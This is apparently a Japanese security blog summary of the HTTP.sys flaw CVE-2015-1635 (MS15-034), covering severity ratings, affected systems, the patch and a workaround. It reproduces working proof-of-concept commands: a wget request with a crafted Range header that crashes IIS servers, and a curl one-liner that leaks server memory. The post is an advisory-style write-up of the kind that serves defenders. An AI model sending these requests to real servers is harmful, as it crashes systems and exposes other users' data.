MS15-034で修正されたHTTP.sysの脆弱性 CVE-2015-1635についてまとめてみた。

2015年4月のMicrosoftが公開した更新プログラム MS15-034で修正されたHTTP.sysの脆弱性について関連情報をまとめます。

脆弱性概要

脆弱性の概要情報は次の通り。

愛称	無し
アイコン	無し
CVE	CVE-2015-1635
発見者名	“…the Citrix Security Response Team…” MSは協調的な脆弱性の公開を通じて情報を得たと発表。

HTTP.sys が特別に細工された HTTP リクエストを誤って解析した場合に、HTTP プロトコルスタック (HTTP.sys) にリモートでコードが実行される脆弱性が存在します。攻撃者がこの脆弱性を悪用した場合、システムアカウントのコンテキストで任意のコードが実行される可能性があります。
この脆弱性の悪用には、攻撃者が特別な細工をした HTTP リクエストを影響を受けるサーバーに送信する必要があります。
https://technet.microsoft.com/library/security/MS15-034

脆弱性評価

定量評価 (CVSS)

発信元	CVSS値
NVD	10.0
JPCERT/CC	10.0

評価詳細

評価尺度	NVD	JPCERT/CC
攻撃元区分	ネットワーク	ネットワーク
攻撃条件の複雑さ	低い	低い
攻撃前認証要否	不要	不要
機密性への影響	全面的	全面的
完全性への影響	全面的	全面的
可用性への影響	全面的	全面的

定性的評価

TrendMicro	攻撃が非常に容易である危険性が高い
ソフトバンクテクノロジー	可能な限り早急に対策を講じていただくことを強く推奨
IPA	当該脆弱性に未対応の方は、至急、修正プログラムを適用してください
IBM TokyoSOC	外部に公開されているシステムにおいて脆弱性の対象となるシステムを利用している場合には、早急なアップデートの実施または回避策の適用を推奨

影響対象

Windows Server 2003、Windows Server 2008、Windows Vistaを除く、Windows OS(Server Core含む)が対象。

対策

Microsoftが公開したセキュリティ更新プログラム MS15-034を適用する。

回避策

出力キャッシュ（「カーネルキャッシュを有効にする」のチェックを外す）を無効にする。(IIS専用の回避策) ただし、パフォーマンス影響が懸念されることから変更する際に十分な検証が必要。
メモリリークについては出力キャッシュ設定を無効化しても影響を受けるとの検証報告がある。

検証コード

現在piyokangoが確認している検証コードは次の2つです。(2015年4月17日更新) 任意のコードを実行させるものは確認できていません。

IISが動作するサーバーにおいてBSODを発生させる

メモリリークにより別コンテンツが表示される

MS15-034 x=$[$(curl -sk $URLFILE -w"%{size_download}" -oo)-1];curl -sk $URLFILE -H"Range: bytes=$x-18446744073709551615" -o dmp;od -x dmp
— Juliano Rizzo (@julianor) 2015, 4月 15

CVE-2015-1635の検証コード動画

CVE-2015-1635のPoC検証（BSOD編）

次のコマンドをターゲットのサーバー(Windows Server 2008 R2)に対して実行するとBSODが発生した。

wget --header="Range: bytes=18-18446744073709551615" [target]/welcome.png

検証時メモ

IIS7.5では出力キャッシュが既定で有効状態になっている。
BSOD発生後すぐ再起動が行われた。*1
キャッシュ設定無効後にIISの再起動は不要だった。
curl(cygwinで実行)では検証コードは成功せず。
- 失敗していた理由は再送処理が影響していた模様。*2 *3
- さらにcurlで「-H」ではなく「--range」オプションを使用すればBSODが発生すると教えていただきました。
ターゲットを指定する際は明示的にリソース(ファイル)を指定する必要がある。例えば「http://192.168.0.1/」ではBSODは発生しなかった。

Windows Server 2012 でもBSODとなることを確認

Win2012にMS15-034の攻撃を試してみましたよ。結果、即死。 pic.twitter.com/LkQYRdF0ZL
— 辻伸弘(nobuhiro tsuji) (@ntsuji) 2015, 4月 15

CVE-2015-1635のPoC検証（メモリリーク編）

MS15-034のメモリリークのPoC。Rangeの開始を"filesize-1"にすることがポイント。 https://t.co/xNEuofP70G
— 北河拓士 KITAGAWA,Takuji (@kitagawa_takuji) 2015, 4月 17

MS15-034 memory leak demonstration by @bugch3ck: (note the data after </html>) https://t.co/1JVXWBXHru via @julianor pic.twitter.com/prQ2phKpau
— Kenn White (@kennwhite) 2015, 4月 17

MS15-034のやつ、確かに、メモリリークで別のコンテンツが</html>の後ろに見えたりするっぽいなぁ。パッチ適用していれば発生しないけど、パッチ当てずに「回避策」の「カーネルキャッシュの無効化」だけだと防げないっぽい？ pic.twitter.com/uAsIUqh8WE
— やまざきkei5 (@ymzkei5) 2015, 4月 17

コンテンツが漏れる（キャッシュされる）条件がイマイチ分からないや。サイズとか、同じIPアドレスからじゃないとダメ？とか。
— やまざきkei5 (@ymzkei5) 2015, 4月 17

CVE-2015-1635のスキャン・攻撃活動が行われていると報告

We have detected MS15-034 scanning activity from http://t.co/TKm3jHFu27. "User-Agent: masscan/1.0".
— Kanatoko (@kinyuka) 2015, 4月 15

CVE-2015-1635のRCEのExploitを売りますという情報（真偽不明）

当初約1400万円だったが徐々に値下げが行われている模様。(4月19日夜時点で500万円程度)

MS15-034 (http.sys) exploit is up for sale already. Current price: 517.06308170 BTC = 116.437$. pic.twitter.com/LR6qJmaehj
— Yonathan Klijnsma (@ydklijnsma) 2015, 4月 17

MS15-034 IIS remote code execution verified exploit now for sale priced at $ 12K http://t.co/OrHQi9n1pb pic.twitter.com/q7QAvjfQHP
— Yonathan Klijnsma (@ydklijnsma) 2015, 4月 19